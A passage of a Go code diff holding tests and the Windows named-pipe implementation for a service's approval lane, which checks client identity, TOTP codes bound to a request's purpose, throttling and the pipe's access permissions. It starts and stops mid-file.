// Refused before any code was looked at: the owner's code still works.
|
||||
if resp := pipeServe(pipeRequest{Op: "approve", Host: pipeTestHost, ID: idA, Purpose: purposeDigest(purposeA), Code: code}, thePerson, now); !resp.OK {
|
||||
t.Fatalf("the owner's approve: %+v", resp)
|
||||
}
|
||||
|
||||
// No owner recorded, or a record that cannot be read: nobody is served.
|
||||
p, _ := approvalsOwnerPath()
|
||||
if err := os.Remove(p); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if resp := pipeServe(pipeRequest{Op: "list"}, thePerson, now); resp.OK || !strings.Contains(resp.Error, "no account is recorded") {
|
||||
t.Fatalf("with no owner recorded the lane serves nobody: %+v", resp)
|
||||
}
|
||||
if err := os.WriteFile(p, []byte(`{"sid": 7`), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if resp := pipeServe(pipeRequest{Op: "list"}, thePerson, now); resp.OK {
|
||||
t.Fatalf("an unreadable owner record must serve nobody: %+v", resp)
|
||||
}
|
||||
}
|
||||
|
||||
func pipeCodeNow() string {
|
||||
raw, _ := b32decode(pipeTestSecret)
|
||||
return hotp(raw, time.Now().Unix()/stepupPeriod)
|
||||
}
|
||||
|
||||
func stateOf(t *testing.T, dir, id string) stepupRequest {
|
||||
t.Helper()
|
||||
r, ok := requestsLoad(dir)[id]
|
||||
if !ok {
|
||||
t.Fatalf("request %s is gone", id)
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
// ── who may connect ─────────────────────────────────────────────────────────
|
||||
|
||||
func TestThePipeServesOnlyThePersonSignedInToTheirOwnSession(t *testing.T) {
|
||||
if why := pipeClientRefusal(thePerson); why != "" {
|
||||
t.Fatalf("the person at the screen was refused: %s", why)
|
||||
}
|
||||
other := "S-1-5-21-1111111111-2222222222-3333333333-1002"
|
||||
cases := map[string]pipeClient{
|
||||
"unknown account": {PID: 1, SessionID: 1, SessionUserSID: pipeTestUser, SessionActive: true},
|
||||
"session 0": {PID: 1, UserSID: pipeTestUser, SessionID: 0, SessionUserSID: pipeTestUser, SessionActive: true},
|
||||
"SYSTEM in a session": {PID: 1, UserSID: "S-1-5-18", SessionID: 1, SessionUserSID: pipeTestUser, SessionActive: true},
|
||||
"a service account": {PID: 1, UserSID: "S-1-5-80-123-456", SessionID: 1, SessionUserSID: pipeTestUser, SessionActive: true},
|
||||
"another account, run as": {PID: 1, UserSID: other, SessionID: 1, SessionUserSID: pipeTestUser, SessionActive: true},
|
||||
"nobody signed in to its session": {PID: 1, UserSID: pipeTestUser, SessionID: 2, SessionActive: true},
|
||||
"a disconnected session": {PID: 1, UserSID: pipeTestUser, SessionID: 1, SessionUserSID: pipeTestUser, SessionActive: false},
|
||||
}
|
||||
for name, c := range cases {
|
||||
if pipeClientRefusal(c) == "" {
|
||||
t.Errorf("%s: accepted, and must be refused", name)
|
||||
}
|
||||
}
|
||||
|
||||
// And a refused client gets nothing at all: no list, no approval, even
|
||||
// with the right code for a real request.
|
||||
dir, idA, purposeA, _, _ := pipeBox(t)
|
||||
intruder := cases["another account, run as"]
|
||||
if resp := pipeServe(pipeRequest{Op: "list"}, intruder, time.Now()); resp.OK || len(resp.Approvals) != 0 {
|
||||
t.Fatalf("a refused client was shown the list: %+v", resp)
|
||||
}
|
||||
resp := pipeServe(pipeRequest{Op: "approve", Host: pipeTestHost, ID: idA, Purpose: purposeDigest(purposeA), Code: pipeCodeNow()},
|
||||
intruder, time.Now())
|
||||
if resp.OK || stateOf(t, dir, idA).State != "pending" {
|
||||
t.Fatalf("a refused client approved a request: %+v", resp)
|
||||
}
|
||||
if f, _ := stepupLoad(dir); f.LastCounter != -1 {
|
||||
t.Fatal("a refused client's code was checked and burned")
|
||||
}
|
||||
}
|
||||
|
||||
// ── what it lists ───────────────────────────────────────────────────────────
|
||||
|
||||
func TestThePipeListsWhatIsPendingInTheConsolesWordsAndNoSecret(t *testing.T) {
|
||||
dir, idA, purposeA, idB, _ := pipeBox(t)
|
||||
resp := pipeServe(pipeRequest{Op: "list"}, thePerson, time.Now())
|
||||
if !resp.OK || len(resp.Approvals) != 2 {
|
||||
t.Fatalf("list: %+v", resp)
|
||||
}
|
||||
byID := map[string]pipeApproval{}
|
||||
for _, a := range resp.Approvals {
|
||||
byID[a.ID] = a
|
||||
}
|
||||
a, ok := byID[idA]
|
||||
if !ok || byID[idB].ID == "" {
|
||||
t.Fatalf("both pending requests must be listed: %+v", resp.Approvals)
|
||||
}
|
||||
// The same words `privatae-bastion approvals` prints.
|
||||
want := describeRequest(requestsLoad(dir)[idA])
|
||||
if strings.Join(a.Lines, "\n") != strings.TrimSpace(want) {
|
||||
t.Fatalf("the tray's words are not the console's:\n%q\n%q", a.Lines, want)
|
||||
}
|
||||
if a.Purpose != purposeDigest(purposeA) || a.Host != pipeTestHost {
|
||||
t.Fatalf("the card must name its Host and carry its purpose's digest: %+v", a)
|
||||
}
|
||||
raw, _ := json.Marshal(resp)
|
||||
if strings.Contains(string(raw), pipeTestSecret) {
|
||||
t.Fatal("the TOTP secret crossed the pipe")
|
||||
}
|
||||
// An approval id is what the Host spends; it never crosses either.
|
||||
if _, err := stepupApproveRequest(dir, idB, pipeCodeNow()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
raw, _ = json.Marshal(pipeServe(pipeRequest{Op: "list"}, thePerson, time.Now()))
|
||||
if appr := requestsLoad(dir)[idB].Approval; appr == "" || strings.Contains(string(raw), appr) {
|
||||
t.Fatalf("an approval id crossed the pipe, or none was issued (%q)", appr)
|
||||
}
|
||||
}
|
||||
|
||||
// ── a code approves exactly what was shown ──────────────────────────────────
|
||||
|
||||
func TestThePipeApprovesOneRequestWithACodeBoundToItsPurpose(t *testing.T) {
|
||||
dir, idA, purposeA, idB, purposeB := pipeBox(t)
|
||||
now := time.Now()
|
||||
approve := func(id, purposeSHA, code string) pipeResponse {
|
||||
return pipeServe(pipeRequest{Op: "approve", Host: pipeTestHost, ID: id, Purpose: purposeSHA, Code: code}, thePerson, now)
|
||||
}
|
||||
|
||||
if r := approve(idA, purposeDigest(purposeA), ""); r.OK || !strings.Contains(r.Error, "code") {
|
||||
t.Fatalf("no code must not approve: %+v", r)
|
||||
}
|
||||
if r := approve(idA, purposeDigest(purposeA), "000000"); r.OK && pipeCodeNow() != "000000" {
|
||||
t.Fatalf("a wrong code approved: %+v", r)
|
||||
}
|
||||
// A valid code, posted for A with the purpose B's card showed: refused,
|
||||
// and the code is not spent by it.
|
||||
r := approve(idA, purposeDigest(purposeB), pipeCodeNow())
|
||||
if r.OK || !strings.Contains(r.Error, "not the one shown") {
|
||||
t.Fatalf("a code bound to another request's purpose must be refused: %+v", r)
|
||||
}
|
||||
if r := approve(idA, "", pipeCodeNow()); r.OK {
|
||||
t.Fatalf("a code with no purpose must be refused: %+v", r)
|
||||
}
|
||||
if stateOf(t, dir, idA).State != "pending" {
|
||||
t.Fatal("A was approved by a mismatched submission")
|
||||
}
|
||||
if f, _ := stepupLoad(dir); f.LastCounter != -1 {
|
||||
t.Fatal("a refused submission spent the code")
|
||||
}
|
||||
|
||||
// The right card: approved, once.
|
||||
if r := approve(idA, purposeDigest(purposeA), pipeCodeNow()); !r.OK {
|
||||
t.Fatalf("the right code for the request shown must approve it: %+v", r)
|
||||
}
|
||||
a := stateOf(t, dir, idA)
|
||||
if a.State != "approved" || a.Approval == "" {
|
||||
t.Fatalf("A must be approved: %+v", a)
|
||||
}
|
||||
if stateOf(t, dir, idB).State != "pending" {
|
||||
t.Fatal("approving A touched B")
|
||||
}
|
||||
// The approval binds A's purpose and nothing else.
|
||||
if err := stepupCheckApproval(dir, a.Approval, purposeB); err == nil {
|
||||
t.Fatal("A's approval passed for B's purpose")
|
||||
}
|
||||
if err := stepupConsumeApproval(dir, a.Approval, purposeA); err != nil {
|
||||
t.Fatalf("A's approval must pass for A's purpose: %v", err)
|
||||
}
|
||||
// And the code is spent: the same code cannot approve B.
|
||||
if r := approve(idB, purposeDigest(purposeB), pipeCodeNow()); r.OK {
|
||||
t.Fatal("one code approved two requests")
|
||||
}
|
||||
}
|
||||
|
||||
func TestThePipeDeniesOnlyTheRequestShown(t *testing.T) {
|
||||
dir, idA, purposeA, _, purposeB := pipeBox(t)
|
||||
deny := func(purposeSHA string) pipeResponse {
|
||||
return pipeServe(pipeRequest{Op: "deny", Host: pipeTestHost, ID: idA, Purpose: purposeSHA}, thePerson, time.Now())
|
||||
}
|
||||
if r := deny(purposeDigest(purposeB)); r.OK || stateOf(t, dir, idA).State != "pending" {
|
||||
t.Fatalf("a deny for another card's purpose must be refused: %+v", r)
|
||||
}
|
||||
if r := deny(purposeDigest(purposeA)); !r.OK || stateOf(t, dir, idA).State != "denied" {
|
||||
t.Fatalf("deny: %+v", r)
|
||||
}
|
||||
}
|
||||
|
||||
// ── no guessing ─────────────────────────────────────────────────────────────
|
||||
|
||||
func TestThePipeThrottlesWrongCodesAndLocksUntilAnotherLaneApproves(t *testing.T) {
|
||||
dir, idA, purposeA, idB, purposeB := pipeBox(t)
|
||||
wrong := "000000"
|
||||
if pipeCodeNow() == wrong {
|
||||
wrong = "000001"
|
||||
}
|
||||
t0 := time.Now()
|
||||
try := func(code string, at time.Time) pipeResponse {
|
||||
return pipeServe(pipeRequest{Op: "approve", Host: pipeTestHost, ID: idA, Purpose: purposeDigest(purposeA), Code: code}, thePerson, at)
|
||||
}
|
||||
for i := 0; i < pipeFreeFailures; i++ {
|
||||
if r := try(wrong, t0); r.OK || strings.Contains(r.Error, "try again") {
|
||||
t.Fatalf("attempt %d: the first %d wrong codes are not throttled: %+v", i+1, pipeFreeFailures, r)
|
||||
}
|
||||
}
|
||||
// Now even the RIGHT code is not looked at until pipeSlowEvery has passed.
|
||||
if r := try(pipeCodeNow(), t0.Add(time.Second)); r.OK || !strings.Contains(r.Error, "try again") {
|
||||
t.Fatalf("after %d wrong codes the next attempt must wait: %+v", pipeFreeFailures, r)
|
||||
}
|
||||
if stateOf(t, dir, idA).State != "pending" {
|
||||
t.Fatal("a throttled attempt approved")
|
||||
}
|
||||
if r := try(wrong, t0.Add(pipeSlowEvery+time.Second)); r.OK || strings.Contains(r.Error, "try again") {
|
||||
t.Fatalf("after the wait one attempt is taken: %+v", r)
|
||||
}
|
||||
|
||||
// At pipeLockAfter the lane takes no code at all, whatever the wait...
|
||||
raw, _ := json.Marshal(pipeThrottleFile{Failures: pipeLockAfter, Last: t0.UTC().Format(time.RFC3339)})
|
||||
if err := os.WriteFile(pipeThrottlePath(dir), raw, 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if r := try(pipeCodeNow(), t0.Add(24*time.Hour)); r.OK || !strings.Contains(r.Error, "Administrator terminal") {
|
||||
t.Fatalf("a locked lane must refuse and say where to approve instead: %+v", r)
|
||||
}
|
||||
// ...until a code is accepted on another lane (here, what `approve` at an
|
||||
// Administrator terminal calls), which re-opens it.
|
||||
if _, err := stepupApproveRequest(dir, idB, pipeCodeNow()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if f := pipeThrottleLoad(dir); f.Failures != 0 {
|
||||
t.Fatalf("an accepted code on another lane must reset the count, got %d", f.Failures)
|
||||
}
|
||||
_ = purposeB
|
||||
}
|
||||
|
||||
// ── the pipe's own permissions ──────────────────────────────────────────────
|
||||
|
||||
// TestTheApprovalPipeTakesLocalInteractiveClientsOnly reads the pipe's ACL and
|
||||
// its creation flags. Interactive users may read and write, and may NOT create
|
||||
// an instance of the pipe (FILE_APPEND_DATA, 0x4, is FILE_CREATE_PIPE_INSTANCE
|
||||
// on a pipe): that right would let a client stand up its own end of the name.
|
||||
// Remote clients are refused by the pipe itself. A Windows-only file, so this
|
||||
// reads it rather than runs it.
|
||||
func TestTheApprovalPipeTakesLocalInteractiveClientsOnly(t *testing.T) {
|
||||
m := regexp.MustCompile(`\(A;;(0x[0-9a-fA-F]+);;;IU\)`).FindStringSubmatch(approvalPipeSDDL)
|
||||
if m == nil {
|
||||
t.Fatalf("no interactive-users entry in %s", approvalPipeSDDL)
|
||||
}
|
||||
mask, err := strconv.ParseUint(m[1], 0, 32)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if mask&0x4 != 0 {
|
||||
t.Fatalf("interactive users may create pipe instances (mask %#x)", mask)
|
||||
}
|
||||
if mask&0x3 != 0x3 || mask&0x100000 == 0 {
|
||||
t.Fatalf("interactive users cannot read, write and wait on the pipe (mask %#x)", mask)
|
||||
}
|
||||
if strings.Count(approvalPipeSDDL, "(A;") != 3 || !strings.HasPrefix(approvalPipeSDDL, "D:P") {
|
||||
t.Fatalf("the pipe's DACL must be protected and hold exactly SYSTEM, Administrators and interactive users: %s", approvalPipeSDDL)
|
||||
}
|
||||
src, err := os.ReadFile("approvalpipe_windows.go")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, want := range []string{"PIPE_REJECT_REMOTE_CLIENTS", "FILE_FLAG_FIRST_PIPE_INSTANCE", "SECURITY_IDENTIFICATION",
|
||||
"GetNamedPipeClientProcessId", "pipeServerIsService(c.h)"} {
|
||||
if !strings.Contains(string(src), want) {
|
||||
t.Errorf("approvalpipe_windows.go no longer uses %s", want)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,456 @@
|
||||
//go:build windows
|
||||
|
||||
package main
|
||||
|
||||
// The Windows half of approvalpipe.go: the pipe itself, who is on the other
|
||||
// end of it, and the tray's way in.
|
||||
//
|
||||
// OVERLAPPED I/O, ALWAYS. Every connect, read and write waits on an event with
|
||||
// a timeout and is cancelled when the time is up (CancelIoEx), so a client that
|
||||
// connects and says nothing, or a service that hangs, holds nothing for longer
|
||||
// than pipeIOTimeout. The OVERLAPPED structure lives in a heap object
|
||||
// (pipeConn) for as long as the I/O on it can be pending: the kernel writes to
|
||||
// it after the call returns, and a goroutine stack can move.
|
||||
//
|
||||
// NO GAP IN THE NAME. A pipe name exists only while one of its instances is
|
||||
// open. Between the last instance closing and the next being created, any
|
||||
// process could create the name and receive the tray's next code. So the
|
||||
// next instance is always created BEFORE the one it replaces is handed to its
|
||||
// handler or, after a failed connect, closed (pipeAcceptLoop, approvalpipe.go,
|
||||
// where the suite checks it), and any instance created while none of ours is open carries
|
||||
// FILE_FLAG_FIRST_PIPE_INSTANCE, which fails if someone else holds the name.
|
||||
// The tray also checks that the pipe's server process is the PrivataeBastion
|
||||
// service before it sends anything (pipeServerIsService).
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sync"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// pipeConn is one end of one pipe instance with its own OVERLAPPED, event and
|
||||
// read buffer, all in this heap object: the kernel fills the buffer and the
|
||||
// OVERLAPPED after the call that started the read has returned.
|
||||
type pipeConn struct {
|
||||
h windows.Handle
|
||||
ev windows.Handle
|
||||
ov windows.Overlapped
|
||||
buf [4096]byte
|
||||
}
|
||||
|
||||
func newPipeConn(h windows.Handle) (*pipeConn, error) {
|
||||
ev, err := windows.CreateEvent(nil, 1, 0, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
c := &pipeConn{h: h, ev: ev}
|
||||
c.ov.HEvent = ev
|
||||
return c, nil
|
||||
}
|
||||
|
||||
func (c *pipeConn) close() {
|
||||
_ = windows.CloseHandle(c.h)
|
||||
_ = windows.CloseHandle(c.ev)
|
||||
}
|
||||
|
||||
var errPipeTimeout = errors.New("timed out")
|
||||
|
||||
// wait completes an overlapped call that was started on c. stop, when not 0,
|
||||
// is a second event that cancels the wait.
|
||||
func (c *pipeConn) wait(callErr error, timeout time.Duration, stop windows.Handle) (uint32, error) {
|
||||
var n uint32
|
||||
switch {
|
||||
case callErr == nil:
|
||||
case errors.Is(callErr, windows.ERROR_IO_PENDING):
|
||||
ms := uint32(windows.INFINITE)
|
||||
if timeout > 0 {
|
||||
ms = uint32(timeout / time.Millisecond)
|
||||
}
|
||||
handles := []windows.Handle{c.ev}
|
||||
if stop != 0 {
|
||||
handles = append(handles, stop)
|
||||
}
|
||||
r, err := windows.WaitForMultipleObjects(handles, false, ms)
|
||||
if err != nil || r != windows.WAIT_OBJECT_0 {
|
||||
_ = windows.CancelIoEx(c.h, &c.ov)
|
||||
_ = windows.GetOverlappedResult(c.h, &c.ov, &n, true)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
if r == uint32(windows.WAIT_TIMEOUT) {
|
||||
return 0, errPipeTimeout
|
||||
}
|
||||
return 0, errPipeStopped
|
||||
}
|
||||
default:
|
||||
return 0, callErr
|
||||
}
|
||||
if err := windows.GetOverlappedResult(c.h, &c.ov, &n, false); err != nil {
|
||||
return n, err
|
||||
}
|
||||
return n, nil
|
||||
}
|
||||
|
||||
// read reads into c.buf and returns how much arrived.
|
||||
func (c *pipeConn) read(timeout time.Duration) (int, error) {
|
||||
_ = windows.ResetEvent(c.ev)
|
||||
var done uint32
|
||||
err := windows.ReadFile(c.h, c.buf[:], &done, &c.ov)
|
||||
n, err := c.wait(err, timeout, 0)
|
||||
return int(n), err
|
||||
}
|
||||
|
||||
func (c *pipeConn) write(b []byte, timeout time.Duration) error {
|
||||
for len(b) > 0 {
|
||||
_ = windows.ResetEvent(c.ev)
|
||||
var done uint32
|
||||
err := windows.WriteFile(c.h, b, &done, &c.ov)
|
||||
n, err := c.wait(err, timeout, 0)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n == 0 {
|
||||
return errors.New("short write")
|
||||
}
|
||||
b = b[n:]
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// readLine reads up to one newline, within max bytes and timeout in all.
|
||||
func (c *pipeConn) readLine(max int, timeout time.Duration) ([]byte, error) {
|
||||
deadline := time.Now().Add(timeout)
|
||||
var out []byte
|
||||
for {
|
||||
left := time.Until(deadline)
|
||||
if left <= 0 {
|
||||
return nil, errPipeTimeout
|
||||
}
|
||||
n, err := c.read(left)
|
||||
out = append(out, c.buf[:n]...)
|
||||
if i := bytes.IndexByte(out, '\n'); i >= 0 {
|
||||
return out[:i], nil
|
||||
}
|
||||
if len(out) > max {
|
||||
return nil, errors.New("message too large")
|
||||
}
|
||||
if err != nil {
|
||||
if errors.Is(err, windows.ERROR_MORE_DATA) {
|
||||
continue
|
||||
}
|
||||
if errors.Is(err, windows.ERROR_BROKEN_PIPE) && len(out) > 0 {
|
||||
return out, nil
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ── the server, in the service ──────────────────────────────────────────────
|
||||
|
||||
// approvalPipeServer tracks how many of our instances are open, so an instance
|
||||
// created while none is open asks for the name to be ours alone.
|
||||
type approvalPipeServer struct {
|
||||
mu sync.Mutex
|
||||
open int
|
||||
sa *windows.SecurityAttributes
|
||||
name *uint16
|
||||
// stopEv is set when the service stops; it ends a connect that is waiting.
|
||||
stopEv windows.Handle
|
||||
}
|
||||
|
||||
// connect waits for a client on c (pipeInstances).
|
||||
func (s *approvalPipeServer) connect(c *pipeConn) error {
|
||||
_ = windows.ResetEvent(c.ev)
|
||||
cerr := windows.ConnectNamedPipe(c.h, &c.ov)
|
||||
if errors.Is(cerr, windows.ERROR_PIPE_CONNECTED) {
|
||||
// A client that connected between the create and this call is
|
||||
// already connected; anything else waits.
|
||||
return nil
|
||||
}
|
||||
_, err := c.wait(cerr, 0, s.stopEv)
|
||||
return err
|
||||
}
|
||||
|
||||
func (s *approvalPipeServer) create() (*pipeConn, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
flags := uint32(windows.PIPE_ACCESS_DUPLEX | windows.FILE_FLAG_OVERLAPPED)
|
||||
if s.open == 0 {
|
||||
flags |= windows.FILE_FLAG_FIRST_PIPE_INSTANCE
|
||||
}
|
||||
h, err := windows.CreateNamedPipe(s.name, flags,
|
||||
windows.PIPE_TYPE_BYTE|windows.PIPE_READMODE_BYTE|windows.PIPE_WAIT|windows.PIPE_REJECT_REMOTE_CLIENTS,
|
||||
windows.PIPE_UNLIMITED_INSTANCES, 64<<10, 64<<10, 0, s.sa)
|
||||
if err != nil {
|
||||
if s.open == 0 {
|
||||
return nil, fmt.Errorf("cannot create %s; if another program holds that name the tray stays off: %w", approvalPipeName, err)
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
c, err := newPipeConn(h)
|
||||
if err != nil {
|
||||
_ = windows.CloseHandle(h)
|
||||
return nil, err
|
||||
}
|
||||
s.open++
|
||||
return c, nil
|
||||
}
|
||||
|
||||
func (s *approvalPipeServer) release(c *pipeConn) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
c.close()
|
||||
s.open--
|
||||
}
|
||||
|
||||
// startApprovalPipe serves the pipe until stop is closed. A failure, including
|
||||
// the name being held by another process when the service starts, is said in
|
||||
// the service's log, leaves every other lane as it was, and is retried with
|
||||
// backoff (pipeServeRetrying). Each attempt's first instance carries
|
||||
// FILE_FLAG_FIRST_PIPE_INSTANCE, so the service never serves under a name some
|
||||
// other process created.
|
||||
func startApprovalPipe(stop <-chan struct{}) {
|
||||
wait := func(d time.Duration) bool {
|
||||
select {
|
||||
case <-stop:
|
||||
return false
|
||||
case <-time.After(d):
|
||||
return true
|
||||
}
|
||||
}
|
||||
go pipeServeRetrying(func(ready func()) error { return serveApprovalPipe(stop, ready) }, wait,
|
||||
func(f string, a ...any) { fmt.Printf(f, a...) })
|
||||
}
|
||||
|
||||
func serveApprovalPipe(stop <-chan struct{}, ready func()) error {
|
||||
sd, err := windows.SecurityDescriptorFromString(approvalPipeSDDL)
|
||||
if err != nil {
|
||||
return fmt.Errorf("cannot build the pipe's permissions: %w", err)
|
||||
}
|
||||
name, err := windows.UTF16PtrFromString(approvalPipeName)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
stopEv, err := windows.CreateEvent(nil, 1, 0, nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
go func() {
|
||||
<-stop
|
||||
_ = windows.SetEvent(stopEv)
|
||||
}()
|
||||
s := &approvalPipeServer{
|
||||
sa: &windows.SecurityAttributes{Length: uint32(unsafe.Sizeof(windows.SecurityAttributes{})), SecurityDescriptor: sd},
|
||||
name: name,
|
||||
stopEv: stopEv,
|
||||
}
|
||||
// The loop and its no-gap rule are in approvalpipe.go, where the suite runs them.
|
||||
return pipeAcceptLoop[*pipeConn](s, stop, pipeMaxClients, time.Second,
|
||||
func(f string, a ...any) { fmt.Printf(f, a...) }, ready, servePipeConn)
|
||||
}
|
||||
|
||||
// servePipeConn answers one request and waits, briefly, for the client to
|
||||
// close: closing first would discard an answer it has not read yet.
|
||||
func servePipeConn(c *pipeConn) {
|
||||
client, cerr := pipeClientOf(c.h)
|
||||
raw, err := c.readLine(pipeMaxRequest, pipeIOTimeout)
|
||||
var resp pipeResponse
|
||||
switch {
|
||||
case err != nil:
|
||||
return
|
||||
case cerr != nil:
|
||||
resp = pipeResponse{Error: "refused: " + cerr.Error()}
|
||||
default:
|
||||
req, derr := pipeDecode(raw)
|
||||
if derr != nil {
|
||||
resp = pipeResponse{Error: derr.Error()}
|
||||
} else {
|
||||
resp = pipeServe(req, client, time.Now())
|
||||
}
|
||||
}
|
||||
// A refused client is said in the service's log: it is a process on this
|
||||
// machine trying a lane that is not its own.
|
||||
if cerr != nil || pipeAccessRefusal(client) != "" {
|
||||
fmt.Printf("approvals pipe: %s (pid %d)\n", resp.Error, client.PID)
|
||||
}
|
||||
out, _ := json.Marshal(resp)
|
||||
if err := c.write(append(out, '\n'), pipeIOTimeout); err != nil {
|
||||
return
|
||||
}
|
||||
_, _ = c.read(pipeIOTimeout)
|
||||
}
|
||||
|
||||
// pipeClientOf identifies the process on the other end: its pid from the pipe
|
||||
// (GetNamedPipeClientProcessId), its user and session from that process's
|
||||
// token, and the person signed in to that session from the session's own token
|
||||
// (WTSQueryUserToken, which LocalSystem may call).
|
||||
func pipeClientOf(h windows.Handle) (pipeClient, error) {
|
||||
var c pipeClient
|
||||
if err := windows.GetNamedPipeClientProcessId(h, &c.PID); err != nil {
|
||||
return c, fmt.Errorf("cannot tell which process connected: %w", err)
|
||||
}
|
||||
p, err := windows.OpenProcess(windows.PROCESS_QUERY_LIMITED_INFORMATION, false, c.PID)
|
||||
if err != nil {
|
||||
return c, fmt.Errorf("cannot open the connecting process (pid %d): %w", c.PID, err)
|
||||
}
|
||||
defer windows.CloseHandle(p)
|
||||
var tok windows.Token
|
||||
if err := windows.OpenProcessToken(p, windows.TOKEN_QUERY, &tok); err != nil {
|
||||
return c, fmt.Errorf("cannot read the connecting process's account (pid %d): %w", c.PID, err)
|
||||
}
|
||||
defer tok.Close()
|
||||
u, err := tok.GetTokenUser()
|
||||
if err != nil {
|
||||
return c, fmt.Errorf("cannot read the connecting process's account (pid %d): %w", c.PID, err)
|
||||
}
|
||||
c.UserSID = u.User.Sid.String()
|
||||
if name, dom, _, err := u.User.Sid.LookupAccount(""); err == nil {
|
||||
c.UserName = name
|
||||
if dom != "" {
|
||||
c.UserName = dom + `\` + name
|
||||
}
|
||||
}
|
||||
var sess, n uint32
|
||||
if err := windows.GetTokenInformation(tok, windows.TokenSessionId, (*byte)(unsafe.Pointer(&sess)), uint32(unsafe.Sizeof(sess)), &n); err != nil {
|
||||
return c, fmt.Errorf("cannot read the connecting process's session (pid %d): %w", c.PID, err)
|
||||
}
|
||||
c.SessionID = sess
|
||||
var st windows.Token
|
||||
if windows.WTSQueryUserToken(sess, &st) == nil {
|
||||
if su, err := st.GetTokenUser(); err == nil {
|
||||
c.SessionUserSID = su.User.Sid.String()
|
||||
}
|
||||
st.Close()
|
||||
}
|
||||
c.SessionActive = wtsSessionActive(sess)
|
||||
return c, nil
|
||||
}
|
||||
|
||||
// wtsSessionActive reports whether a session is the one in front of a screen
|
||||
// (WTSActive), rather than disconnected or idle.
|
||||
func wtsSessionActive(id uint32) bool {
|
||||
var sessions *windows.WTS_SESSION_INFO
|
||||
var n uint32
|
||||
if windows.WTSEnumerateSessions(0, 0, 1, &sessions, &n) != nil {
|
||||
return false
|
||||
}
|
||||
defer windows.WTSFreeMemory(uintptr(unsafe.Pointer(sessions)))
|
||||
for _, s := range unsafe.Slice(sessions, n) {
|
||||
if s.SessionID == id {
|
||||
return s.State == windows.WTSActive
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// ── the client, in the tray ─────────────────────────────────────────────────
|
||||
|
||||
// pipeCall sends one request to the service and returns its answer.
|
||||
func pipeCall(req pipeRequest) (pipeResponse, error) {
|
||||
var resp pipeResponse
|
||||
c, err := dialApprovalPipe()
|
||||
if err != nil {
|
||||
return resp, err
|
||||
}
|
||||
defer c.close()
|
||||
if err := pipeServerIsService(c.h); err != nil {
|
||||
return resp, err
|
||||
}
|
||||
raw, err := json.Marshal(req)
|
||||
if err != nil {
|
||||
return resp, err
|
||||
}
|
||||
if err := c.write(append(raw, '\n'), pipeIOTimeout); err != nil {
|
||||
return resp, fmt.Errorf("the bastion service did not take the request: %w", err)
|
||||
}
|
||||
line, err := c.readLine(1<<20, 2*pipeIOTimeout)
|
||||
if err != nil {
|
||||
return resp, fmt.Errorf("the bastion service did not answer: %w", err)
|
||||
}
|
||||
if err := json.Unmarshal(line, &resp); err != nil {
|
||||
return resp, errors.New("the bastion service's answer could not be read")
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// dialApprovalPipe opens the pipe with exactly the rights its ACL grants
|
||||
// (read, write data, synchronize; never FILE_APPEND_DATA, which GENERIC_WRITE
|
||||
// would ask for), and lets the server identify this process but not act as it.
|
||||
func dialApprovalPipe() (*pipeConn, error) {
|
||||
name, err := windows.UTF16PtrFromString(approvalPipeName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for i := 0; ; i++ {
|
||||
h, err := windows.CreateFile(name, windows.FILE_GENERIC_READ|windows.FILE_WRITE_DATA, 0, nil,
|
||||
windows.OPEN_EXISTING, windows.FILE_FLAG_OVERLAPPED|windows.SECURITY_SQOS_PRESENT|windows.SECURITY_IDENTIFICATION, 0)
|
||||
if err == nil {
|
||||
c, err := newPipeConn(h)
|
||||
if err != nil {
|
||||
_ = windows.CloseHandle(h)
|
||||
return nil, err
|
||||
}
|
||||
return c, nil
|
||||
}
|
||||
if errors.Is(err, windows.ERROR_PIPE_BUSY) && i < 10 {
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
if errors.Is(err, windows.ERROR_FILE_NOT_FOUND) {
|
||||
return nil, errors.New("the bastion service is not running, or is older than this tray")
|
||||
}
|
||||
return nil, fmt.Errorf("cannot reach the bastion service: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
// pipeServerIsService refuses a pipe whose server is not the PrivataeBastion
|
||||
// service's own process, so a program that got the name first is never sent
|
||||
// a code.
|
||||
func pipeServerIsService(h windows.Handle) error {
|
||||
var pid uint32
|
||||
if err := windows.GetNamedPipeServerProcessId(h, &pid); err != nil {
|
||||
return fmt.Errorf("cannot tell which process serves the approvals pipe: %w", err)
|
||||
}
|
||||
svcPID, err := bastionServicePID()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if svcPID == 0 || pid != svcPID {
|
||||
return fmt.Errorf("the approvals pipe is served by process %d, not by the %s service; nothing was sent", pid, winServiceName)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// bastionServicePID is the service's process id from the Service Control
|
||||
// Manager, asked with the query right every signed-in user holds. 0 when it is
|
||||
// not running.
|
||||
func bastionServicePID() (uint32, error) {
|
||||
